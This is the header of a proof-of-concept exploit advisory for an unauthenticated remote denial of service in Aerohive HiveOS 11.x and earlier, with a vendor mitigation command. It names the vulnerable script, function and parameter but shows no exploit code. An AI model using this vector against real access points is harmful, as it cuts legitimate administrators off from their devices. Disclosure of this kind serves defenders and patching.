# Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit
#
#
# Vendor: Extreme Networks
# Product web page: https://www.extremenetworks.com
# Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf
# Affected version: <=11.x
#
# Summary: Aerohive HiveOS is the network operating system that powers
# all Aerohive access points, based on a feature-rich Cooperative Control
# architecture. HiveOS enables Aerohive devices to organize into groups,
# or 'hives', which allows functionality like fast roaming, user-based
# access control and fully stateful application-aware firewall policies,
# as well as additional security and RF networking features - all without
# the need for a centralized or dedicated controller.
#
# Desc: An unauthenticated malicious user can trigger a Denial of Service
# (DoS) attack when sending specific application layer packets towards the
# Aerohive NetConfig UI. This PoC exploit renders the application unusable
# for 305 seconds or 5 minutes with a single HTTP request using the action.php5
# script calling the CliWindow function thru the _page parameter, denying
# access to the web server hive user interface.
#
# Vendor mitigation:
# CLI> no system web-server hive-ui enable
#
# Tested on: Hiawatha v9.6
#
